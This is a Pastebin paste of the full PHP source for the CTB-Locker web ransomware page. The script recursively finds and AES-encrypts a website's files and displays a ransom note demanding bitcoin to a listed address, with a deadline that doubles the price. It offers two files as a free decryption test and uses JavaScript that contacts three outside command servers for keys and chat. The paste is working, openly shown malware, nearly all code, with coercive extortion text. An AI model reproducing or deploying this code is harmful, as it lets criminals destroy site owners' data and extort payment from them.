benkow_

CTB Locker web - index.php

Feb 23rd, 2016
903
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 19.62 KB | None | 0 0
  1. <?php
  2. //session_start();
  3. //if (!isset($_SESSION["page"])) $_SESSION["page"] = "index";
  4.  
  5. $d = isset($_SERVER["HTTP_HOST"]) && $_SERVER["HTTP_HOST"] != "" ?
  6.     $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"];
  7. $proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
  8. define("cur_domain", $d);
  9. define("cur_url", $proto.$d.$_SERVER["REQUEST_URI"]);
  10.  
  11. require_once('crypt/AES.php');
  12. require_once('crypt/Random.php');
  13. //==============================================================================
  14. function enc_excluded($victim) {
  15.     return !in_array($victim, array('./index.php', './allenc.txt', './test.txt', './victims.txt', './extensions.txt', './temp', './robots.txt')) &&
  16.         (false === strpos($victim, '/crypt/')) && (false === strpos($victim, 'secret_'));
  17. }
  18. //==============================================================================
  19. function get_files($dir, $arr_ext, $maxsize, $filter) {
  20.     $files_list = array();
  21.     if ($dh = opendir($dir)) {
  22.         while (false !== ($file = readdir($dh))){
  23.             if($file == '.' || $file == '..'){
  24.                 continue;
  25.             }
  26.            
  27.             $path = $dir.'/'.$file;
  28.             $ext = explode('.', $file);
  29.             $ext = mb_strtolower(array_pop($ext));
  30.             if(is_file($path) && filesize($path) <= $maxsize &&
  31.                 in_array($ext, $arr_ext) && call_user_func($filter, $path)) {
  32.                 $files_list[] = $path;
  33.             }
  34.             elseif(is_dir($path)){
  35.                 $files_list = array_merge($files_list, get_files($path, $arr_ext, $maxsize, $filter));
  36.             }
  37.         }
  38.         closedir($dh);
  39.         return $files_list;
  40.     }
  41.     return false;
  42. }
  43. //==============================================================================
  44. /*
  45. function crypt_file($fname, $cipher, $encrypt, $chunklen=10240) {
  46.     echo "crypt_file $fname\n"; #debug
  47.     $chunklen = $chunklen * 16 - ($encrypt ? 1 : 0);
  48.     $file = fopen($fname, 'r');
  49.     $temp = fopen('temp', 'w');
  50.     while (!feof($file)) {
  51.         $chunk = fread($file, $chunklen);
  52.         if ($chunk === "") continue;
  53.         $encrypted = $encrypt ? $cipher->encrypt($chunk) : $cipher->decrypt($chunk);
  54.         fwrite($temp, $encrypted);
  55.     }
  56.     fclose($file);
  57.     fclose($temp);
  58.    
  59.     $file = fopen($fname, 'w');
  60.     $temp = fopen('temp', 'r');
  61.     while (!feof($temp)) {
  62.         $chunk = fread($temp, $chunklen);
  63.         fwrite($file, $chunk);
  64.     }
  65.     fclose($file);
  66.     fclose($temp);
  67. }*/
  68. //==============================================================================
  69. function create_aes_cipher($key) {
  70.     $aes = new Crypt_AES();
  71.     $aes->setKeyLength(256);
  72.     $aes->setKey($key);
  73.     return $aes;
  74. }
  75. //==============================================================================
  76. function crypt_file($fname, $cipher, $encrypt, $chunklen=10240) {
  77.     echo "crypt_file $fname ";
  78.     $chunklen *= 16;
  79.     $size = filesize($fname);
  80.     $file = @fopen($fname, 'r+');
  81.     if ($file === false) {
  82.         echo "FAILED\n";
  83.         return;
  84.     }
  85.     $seek = 0;
  86.     $eof = false;
  87.     $cipher->disablePadding();
  88.     $tm = time();
  89.     while (!$eof || (time() - $tm > 10)) {
  90.         @fseek($file, $seek);
  91.         $chunk = @fread($file, $chunklen);
  92.         $eof = $seek + strlen($chunk) >= $size; #feof($file);
  93.         if ($eof) {
  94.             //echo "eof<br>";
  95.             $cipher->enablePadding();
  96.         }
  97.         $crypted = $encrypt ? $cipher->encrypt($chunk) : $cipher->decrypt($chunk);
  98.         @fseek($file, $seek);
  99.         @fwrite($file, $crypted);
  100.         $seek += strlen($crypted);
  101.         //echo "Seek read: $seek, readed: ".strlen($chunk)." after crypt: ".strlen($crypted)."<br>";
  102.     }
  103.     ftruncate($file, $seek);
  104.     echo "OK truncated: $seek\n";
  105.     @fclose($file);
  106. }
  107. //==============================================================================
  108. function encrypt_files($files, $keypass, $keytest) {
  109.     $allenc = file_exists('allenc.txt') ? explode("\n", file_get_contents('allenc.txt')) : array();
  110.        
  111.     if (!file_exists('test.txt') || file_get_contents('test.txt') === '') {
  112.         echo 'getting test files\n';
  113.         $cipher = create_aes_cipher($keytest);
  114.         $test_files = $files;
  115.         shuffle($test_files);
  116.         $test_files = array_splice($test_files, 0, 2);
  117.         foreach ($test_files as $victim) {
  118.             crypt_file($victim, $cipher, 1);
  119.             file_put_contents('test.txt', $victim."\n", FILE_APPEND);
  120.         }
  121.     } else {
  122.         $test_files = explode("\n", file_get_contents('test.txt'));
  123.     }  
  124.    
  125.     $cipher = create_aes_cipher($keypass);
  126.     foreach ($files as $victim) {
  127.         if (!in_array($victim, $allenc) && !in_array($victim, $test_files)) {
  128.             crypt_file($victim, $cipher, 1);
  129.             file_put_contents('allenc.txt', $victim."\n", FILE_APPEND);
  130.         }
  131.     }
  132. }
  133. //==============================================================================
  134. function decrypt_files($filelist, $keypass) {
  135.     if (!file_exists($filelist)) return;
  136.     $allenc = array_reverse(explode("\n", file_get_contents($filelist)));
  137.    
  138.     $cipher = create_aes_cipher($keypass);
  139.     $fsize = filesize($filelist);
  140.     foreach ($allenc as $victim) {
  141.         if (!file_exists($victim)) continue;
  142.         crypt_file($victim, $cipher, 0);
  143.        
  144.         $fsize -= strlen($victim) + 1;
  145.         $hfile = fopen($filelist, 'r+');
  146.         ftruncate($hfile, $fsize);
  147.         fclose($hfile);
  148.     }
  149. }
  150. //==============================================================================
  151. if (isset($_POST['submit'])) {
  152.     // call this script until victims.txt != allenc.txt (without blank lines)
  153.     if (!file_exists('victims.txt') || file_get_contents('victims.txt') === '') {
  154.         $extensions = explode(' ', file_get_contents('extensions.txt'));
  155.         $victims = get_files('.', $extensions, 80*1024*1024, 'enc_excluded');
  156.         $victims = array_slice($victims, 0, 4000);
  157.         file_put_contents('victims.txt', implode("\n", $victims));
  158.     } else {
  159.         $victims = explode("\n", file_get_contents("victims.txt"));
  160.     }
  161.     encrypt_files($victims, $_POST['submit'], $_POST['submit2']);
  162.     exit("ALL_HAD_DONE");
  163. }
  164. //==============================================================================
  165. function secret_ok() {
  166.     $secret = substr(md5("djf33".cur_domain), 2, 10);
  167.     return isset($_GET["secret"]) && $_GET["secret"] === $secret;
  168. }
  169. //==============================================================================
  170. if (isset($_GET['decrypt']) && secret_ok()) {
  171.     decrypt_files('allenc.txt', $_GET['decrypt']);
  172.     decrypt_files('test.txt', $_GET['dectest']);
  173.     exit('Congratulations! ALL FILES WAS DECRYPTED!!');
  174. }
  175. //==============================================================================
  176. if (isset($_GET['dectest']) && secret_ok()) {
  177.     decrypt_files('test.txt', $_GET['dectest']);
  178.     exit('Congratulations! TEST FILES WAS DECRYPTED!!');
  179. }
  180. //==============================================================================
  181. ?><!DOCTYPE html>
  182. <html>
  183. <head>
  184.     <title>CTB-Locker</title>
  185.     <meta charset="UTF-8">
  186.    
  187.     <script src="http://code.jquery.com/jquery-latest.js"></script>
  188.  
  189.     <style type="text/css">
  190. body {
  191.     width: 100%;
  192.     height: 100%;
  193.     margin: 0px;
  194.     background-color: black;
  195. }
  196.  
  197. .cloth {
  198.     margin: auto 40px auto 40px;
  199.     padding: 30px 130px;
  200.     background-color: #C3C3C3;
  201.     min-width: 700px;
  202. }
  203.  
  204. .main {
  205.     border-radius: 10px;
  206.     background-color: #1D1D1D;
  207.     padding: 0px 20px 40px 20px;
  208. }
  209.  
  210. .header {
  211.     padding: 5px 0px;
  212.     overflow: hidden;
  213.     border-bottom: 1px solid;
  214.     border-bottom-color: #AAAAAA;
  215. }
  216.  
  217. .navcontainer, .navitem {
  218.     float: left;
  219. }
  220.  
  221. .langs, .langs>a {
  222.     float: right;
  223. }
  224.  
  225. .navitem:first-child {
  226.     margin-left: 0px;
  227. }
  228.  
  229. .navitem {
  230.     margin: 0px 5px;
  231.     padding: 2px 4px;
  232.     border-radius: 4px;
  233.     color: black;
  234.     background-color: #777777;
  235.     width: 95px;
  236.     cursor: pointer;
  237.     font-size: 18px;
  238.     text-align: center;
  239.     color: turquoise;
  240. }
  241.  
  242. .langs>a {
  243.     margin: 0px 5px;
  244. }
  245.  
  246. .navitem:hover{
  247.     color: white;
  248.     background: #216091;
  249.     background: linear-gradient(to bottom, #216091, #3F89C6);
  250. }
  251.  
  252. .content a {
  253.     color: yellow;
  254. }
  255.  
  256. h2 {
  257.     color: #F67F05;
  258. }
  259. p, .list {
  260.     color: #DDDDDD;
  261. }
  262.  
  263. iframe {
  264.     width: 560px;
  265.     display: block;
  266.     margin: 0 auto;
  267. }
  268.  
  269. .list {
  270.     padding-left: 60px;
  271.     line-height: 1.4;
  272. }
  273.  
  274. .btn {
  275.     margin-top: 10px;
  276.     border-radius: 4px;
  277.     padding: 2px 6px;
  278.     cursor: pointer;
  279.     background-color: #008000;
  280.     color: white;
  281.     text-align: center;
  282.     width: 300px;
  283. }
  284.  
  285. .btn:hover {
  286.     background: #008000;
  287.     background: linear-gradient(to bottom, #008000, #00B500);
  288. }
  289.  
  290. .secretbtn {
  291.     overflow: hidden;  
  292. }
  293.  
  294. .secretbtn>.seccls, .secretbtn>.btn {
  295.     float: left;
  296.     margin: 5px 10px 0px 0px;
  297. }
  298.  
  299. .secretbtn>.btn {
  300.     width: 180px;
  301. }
  302.     </style>
  303. </head>
  304. <body>
  305.  
  306. <?php
  307.     if (!isset($_GET["page"]) || !in_array($_GET["page"], array("index", "freepage", "chat"))) {
  308.         $_GET["page"] = "index";
  309.     }
  310.     //if (isset($_GET["page"]) && in_array($_GET["page"], array("index", "freepage", "chat"))) {
  311.     //  $_SESSION["page"] = $_GET["page"];
  312.     //}
  313.     //if (isset($_GET["lang"]) && in_array($_GET["lang"],
  314.     //  array("eng", "ger", "ita", "fra", "rus", "chi", "tur"))) {
  315.     //  $_SESSION["lang"] = $_GET["lang"];
  316.     //}
  317. ?>
  318.  
  319. <div class="cloth">
  320.  
  321. <div class="main"> 
  322.     <div class="header">
  323.         <div class="navcontainer">
  324.             <a href="?page=index"><div class="navitem">Index</div></a>
  325.             <a href="?page=freepage"><div class="navitem">Free decrypt</div></a>
  326.             <a href="?page=chat"><div class="navitem">Chat</div></a>
  327.         </div>
  328.         <div class="langs">
  329. <?php
  330. function lurl($lang) {
  331. echo "https://translate.googleusercontent.com/translate_c?act=url&depth=1&ie=UTF8&prev=_t&sl=eng&tl=$lang&u=".urlencode(cur_url);
  332. }
  333. ?>
  334.             <a href="<?php lurl('en');?>"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAZCAIAAAA0WgDFAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwQAADsEBuJFr7QAAABh0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4zjOaXUAAAAklJREFUSEtj4DMpYNTMFDAtZNDIAJKMmhmC5kX8JoWMGhn8CMFMAbOi/VwGlCCGuPIFRkFtXXN2Ai3onrfbMLA1sWphUvUiPf/m7rm7hMyLO+fsNA1pjyuff0TWgRLEwK6XA3Qyh14O0PlgdgaHfi5Wwf+UAYboknla3o0NU7YAg7Fp6lZNr4aEyoXxFQvUPOoap24FCjZO3aLr1xxTOu/rzfuUIAY23RwWnWwugzyg8zkN8li0s4AiIEHtLKAgMLbggmjhTipiCMmfpeJWW9K1ls+4oLR7nbJrbXTpvIiiOQrO1aXdIEGglJpHfXjh7HPOCZQgBmBC4DXOl3GoBEYMkOQxyhc0KwImBG4jFEFg2oOGN7mAwTVpoqxjZWzZfF7jAmA6BJrrnT7FPWWStH0FkAsUBErJO1UBRV5v2U8JYlB2qwX6wDS0A+h887AOIBsYmKrudcBsZAYWNAvrELYoVnKtQQt3UhGDQWCriGWJQ1wft2E+kAQaCrTAKLhNyKLYMR4kaB/XJ2pVYhzcdiOjgRLEADRXyrbcP3s6k1ZmYO4MSdtyoM8swjvFrEsDwIIBOTNk7CuAmRca3uQCBmDEcBrkAsMQmI6BCY9TPxeY6oAxB8yqcEFgcgdG1aO+BZQgBt/Maeqe9UUdq4GGloITNNB/gTkzgNYUd64BFhBAUtO7wSdjKlq4k4oY2vrXEYnQ3EgqYoCGIu0BA1oKoR1iQAtN2iEGtJxMO0THeDpjG00fRMd4+vH0JX0QHePpoLAFfRC94onLAACBwtWOU5UJUAAAAABJRU5ErkJggg=="/></a>
  335.             <a href="<?php lurl('de');?>"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAZCAIAAAA0WgDFAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAABh0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4zjOaXUAAAAHxJREFUSEvt0kEOQDAQheFJVPfKpkNs1HlwOM7Uo6iNG2AkTqB5FtKXL+3y3wxprXP8pELyKfykkkqv99eSPJlSaHdpMdVcGLTFlBSYg7UrmFRoZd7wQp1KET4s1XJ7drMMJ7e3T+0+NHBjS4fvT9/huVSKkEoxnpKD8/0FlEh/ctUq5JQAAAAASUVORK5CYII="/></a>
  336.             <a href="<?php lurl('ru');?>"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAZCAIAAAA0WgDFAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuM4zml1AAAAB6SURBVEhLY7h+/fpz2oObN28yvHnz5j/twfv370dtIhuM2kQJANkU07EmdsJ2WqPIjrUMnP7tDIH9tEZMvu2jNpGNRm2iBIFscnfNcHfNoTVycUpnOGCoc0Ffk9bosK46wwEj+tikMWoT2Wi42rTNQPuIrgat0Q4dNQDImKoFBQcxPgAAAABJRU5ErkJggg=="/></a>
  337.             <a href="<?php lurl('fr');?>"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAZCAIAAAA0WgDFAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuM4zml1AAAABESURBVEhLY2AwnIMflU089e//f/zoVXnuPUUB/GjUJlxo1CZcaNQm3GjUJlxo1CZcaNQm3GjUJlxo1CZcaNQmXEhRAADY9Y7b/Ez4LQAAAABJRU5ErkJggg=="/></a>
  338.             <a href="<?php lurl('zh-CN');?>"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAZCAIAAAA0WgDFAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAABh0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4zjOaXUAAAAT9JREFUSEvt0z1Lw0AcBvBndnJ1culQrdXgCwhSXPQLFAdnHURQQXAQBBc/gx/A7yBuiog4CzrU1c3Ju1xebEwTr7b0+r9Kc5fQRQq/IXnyhyd3l+BxGo3SyN2XJ/BWwufMMGwR/r4e2nqdG2gKj8H6biW+hPgJ7gYJbf3RFD+Dr5KElcEdkuSgmrxd+CcIz5AmaF62r70jsFkyXYRqEptoNZCmXckHvG0yyqoITvWNNUd2z3XQev9takLU1FD3aQ3RNfianhsiTXwFaYTvGyQuxJYa6mHzemKONIUHCM/b+yPq+LpQQx25962DNPW/sjyV3rXEKwgOIdZJaIU0DSEXFF0h2NFzc6ZNkvyrJC00l93EF/Qkn6ymCuJbePWB3F72mvw9/evIx+KcCho3FTFuKuK/Nj1UJ1+ckbtbnvoBuZnIcdVdbbAAAAAASUVORK5CYII="/></a>
  339.             <a href="<?php lurl('it');?>"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAZCAIAAAA0WgDFAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuM4zml1AAAABHSURBVEhLYzCczGgwhQEPatmf+e/ff/zow5J59xQF8KNRm3ChUZtwoVGbcKNRm3ChUZtwoVGbcKNRm3ChUZtwoVGbcCFFAQAxTIpdWZMjsQAAAABJRU5ErkJggg=="/></a>
  340.             <a href="<?php lurl('tr');?>"><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACMAAAAZCAIAAAA0WgDFAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAFxEAABcRAcom8z8AAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA0LjAuM4zml1AAAAI4SURBVEhL7ZS/axRBFIB3ZnJ3TTgJqJdGu2v0CiX4I2D8ExS0OCF/QQqNXFrtTGxTmUjQQiRoaZTooYVEiKYQkysUtEyt3O3OzuzM7Oz5ZjfouplL9iLXiPDBLjtv3jfz3mMdSgoCk0HjE+LAI3KcQSMx+m86MPuYNPoFSl4yAfnpaUqy+ydO0tu3/OVl/+EDOjXlHzl8YJndBOmCUsmdn9dKdrvdSCn+6WPw5jVtbbr1OpwgE58Hiwk0EmPv8aMoikDDVl941aqKq8cLRffypfbExfjGv7fkwWpC9OoVrbXRvFwVxaJOrYbI6VSOSkxYudyXzGIKEWJrb0GjhKDVqjWddpAH/avVIFjCUXIoLSY+PKwFNxdaX4dE6SUgrhsyp1m4x758ps+fuXOzCu/fOYuJHT8WRaZ0wdMnVpN76rTfbGpphiXY3ublcibGis00MqJDBVn4qyZ0Jb0EQM8UJl6txjY2tI6kCOj5s3mmcccU12QHhTHf2gSTbP9gh0zbM8A26BNbWurcuE7HxzvX6nD1TMxuLCbY5k5Pw4jrrvbm7kAP0quAKJUUIu7EBUmwsf652guLCYBc7MN7uFYYKnemIYaG4lObQeCjle/nziTlyuzaG7vJFKcyytfeabhZpIPWln93ls406P2FduOmILvic9DDFDdDFAr+5KS/sqK+fgtaLba4SMfGkoHOBOehpwmAjECIMPwRYEySL+mAvtjLlCaxZj72RV7T3/OvmhiBhqNBwwn+CQX71Pj1QJBrAAAAAElFTkSuQmCC"/></a>
  341.         </div>
  342.     </div>
  343.     <div class="content">
  344. <?php
  345. if ($_GET["page"] == "index") echo <<<ENDECHO
  346.     <h2>Attention! What happened?</h2>
  347.    
  348.     <p>Your personal files are encrypted by <font color="red"><b>CTB-Locker</b></font>.<br>
  349.     Your scripts, documents, photos, databases and other important files have been encrypted with strongest encryption algorithm AES-256 and unique key, generated for this site.</p>
  350.    
  351.     <p>Decryption key is stored on a secret Internet server and <b>nobody</b> can decrypt your files until you pay and obtain the decryption key.</p>
  352.    
  353.     <p>Learn more about the algorithm can be here:
  354.     <a href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">Wikipedia</a></p>
  355.     <p><a href="https://securityledger.com/2015/10/fbis-advice-on-cryptolocker-just-pay-the-ransom/">Fbi's advice on cryptolocker just pay the ransom</a></p>
  356.    
  357.     <h2>What to do?</h2>
  358.    
  359.     <p>We created for you this bitcoin address <font color="red">1EYzYEubQVTwP8HDrKD1UoNyh2iN9ztPv2</font></p>
  360.     <a href="https://blockchain.info/en/wallet/bitcoin-faq">What is a Bitcoin address?</a><br>
  361.     <p>For decrypt your files you need to make a few <b>simple</b> steps:<br></p>
  362.     <div class="list">
  363.     1. Get cryptocurrency Bitcoin<br>
  364.     We recommend:<br>
  365.         <div class="list">
  366.         1) <a href="https://localbitcoins.com/">https://localbitcoins.com/</a> - (Paypal, Visa/MasterCard, QIWI Wallet, Any Bank and etc.)<br>
  367.         2) <a href="https://en.bitcoin.it/wiki/Buying_Bitcoins_(the_newbie_version)">Buying Bitcoins (the newbie version)</a><br>
  368.         3) <a href="https://howtobuybitcoins.info/#!/">A complete list of exchanges!</a><br>
  369.         4) <a href="https://btc-e.com/">https://btc-e.com/</a> (OkPay, Perfect Money, Visa/MasterCard and etc.)<br>
  370.         5) <a href="https://www.okcoin.com/">https://www.okcoin.com/</a><br>
  371.         </div>
  372.     2. Send <font color="red">0.4 BTC</font> (~150$) to the address <font color="red">1EYzYEubQVTwP8HDrKD1UoNyh2iN9ztPv2</font><br>
  373.     3. After payment, confirmation is expected within from 15 minutes to 3 hours.<br>
  374.     You can track confirmations of your transaction in <a href="https://blockchain.info/address/1EYzYEubQVTwP8HDrKD1UoNyh2iN9ztPv2">https://blockchain.info/address/1EYzYEubQVTwP8HDrKD1UoNyh2iN9ztPv2</a><br>
  375.     4. Click button:
  376.     <div id="decrypt" class="btn">DECRYPT</div>
  377.     </div>
  378.  
  379.     <h2>You must carry out this actions before: 2016-02-22 14:00:00</h2>
  380.     <p>At the expiry of the time redemption amount will be <font color="red">0.8 BTC</font>. Please make payment in a timely.</p>
  381.    
  382.     <font color="red"><h3>Dangerous!</h3></font>
  383.     <p>Do not try to cheat the system, edit encrypted files, edit CTB-locker internal files or delete any file. This will result in the inability to recover your data, and we can not help you. Only way to keep your files is to follow the instruction.</p>
  384.    
  385.     <iframe width="560" height="315" src="https://www.youtube.com/embed/hroPcR-0zSI" frameborder="0" allowfullscreen></iframe>
  386. ENDECHO;
  387.  
  388. if ($_GET["page"] == "freepage") {
  389. $test = "ALREADY DECRYPTED!";
  390. if (file_exists('test.txt')) {
  391.     $t = str_replace("\n", "<br>", file_get_contents("test.txt"));
  392.     if ($t !== "") $test = $t;
  393. }
  394. echo <<<ENDECHO
  395.     <h2>Free decrypt</h2>
  396.     <p>We give you the opportunity to decipher 2 files free!</p>
  397.     <div class="list">$test</div>
  398.     <p>To prove that you are an administrator, you must specify the name of the secret file that is in same directory with index.php.</p>
  399.     <div class="secretbtn">
  400.         <div class="seccls"><input type="text" id="secret"/></div>
  401.         <div id="dectest" class="btn">DECRYPT IT FREE</div>
  402.     </div>
  403.     <p>You can make sure that the service really works and after payment for the CTB-Locker script you can actually decrypt the files.</p>
  404.     <p><font color="red">Do not attempt to replace free decrypted files because they have another encryption key! If you will try to decrypt by this key other files, you will break it.</font></p>
  405. ENDECHO;
  406. }
  407.  
  408. if ($_GET["page"] == "chat") echo <<<ENDECHO
  409.     <h2>Chat room</h2>
  410.     <p>If you have any questions or suggestions, please leave a english message below. To prove that you are an administrator, you must specify the name of the secret file that is in same directory with index.php. We will reply to you within 24 hours.</p>
  411.     <textarea id="chatmsg" rows="5" cols="80"></textarea>
  412.     <div class="secretbtn">
  413.         <div class="seccls"><input type="text" id="secret"/></div>
  414.         <div id="recvmsg" class="btn">RECIEVE</div>
  415.         <div id="sendmsg" class="btn">SEND</div>
  416.     </div>
  417. ENDECHO;
  418. ?>
  419.     </div>
  420. </div>
  421. </div>
  422.  
  423. <script>
  424. admins = ["http://erdeni.ru/access.php", "http://studiogreystar.com/access.php", "http://a1hose.com/access.php"];
  425. iadmin = 0;
  426. domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);
  427.  
  428. function post_admin(postdata, onsuccess) {
  429.     $.post(admins[iadmin], postdata+"&domain="+domain, function (data) {
  430.             if (data["status"] == "success") {
  431.                 onsuccess(data);
  432.             } else {
  433.                 alert(data["status"]);
  434.             }
  435.         }, 'json'
  436.     ).fail(function() {
  437.         alert(iadmin >= 2 ? 'It seems like our server is down=( Try to push it again' : 'Push it again');
  438.         iadmin = (iadmin + 1) % 3;
  439.     });
  440. }
  441.  
  442. $('#decrypt').click(function() {
  443.     post_admin("decrypt=", function(data) {
  444.         alert('Your decryption key is ' + data["decrypt"] + '! Wait while page will be updated!');
  445.         url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
  446.         window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];
  447.     });
  448. });
  449.  
  450. $('#dectest').click(function() {
  451.     post_admin("dectest=&secret="+($("#secret").val()), function(data) {
  452.         alert('Your test decryption key is ' + data["dectest"] + '! Wait while page will be updated!');
  453.         url = window.location.href + (window.location.href.indexOf('?') !== -1 ? '&' : '?');
  454.         window.location.href = url + 'dectest=' + data["dectest"] + '&secret=' + data["secret"];
  455.     });
  456. });
  457.  
  458. $('#sendmsg').click(function() {
  459.     msg = "&msg=" + encodeURIComponent($("#chatmsg").val());
  460.     post_admin("sendmsg=&secret="+$("#secret").val()+msg, function(data) {
  461.         alert('Thank you for feedback!');
  462.     });
  463. });
  464.  
  465. $('#recvmsg').click(function() {
  466.     post_admin("recvmsg=&secret="+$("#secret").val(), function(data) {
  467.         $("#chatmsg").val(data["answer"]);
  468.     });
  469. });
  470.     </script>
  471.  
  472. </body>
  473. </html>
Add Comment
Please, Sign In to add comment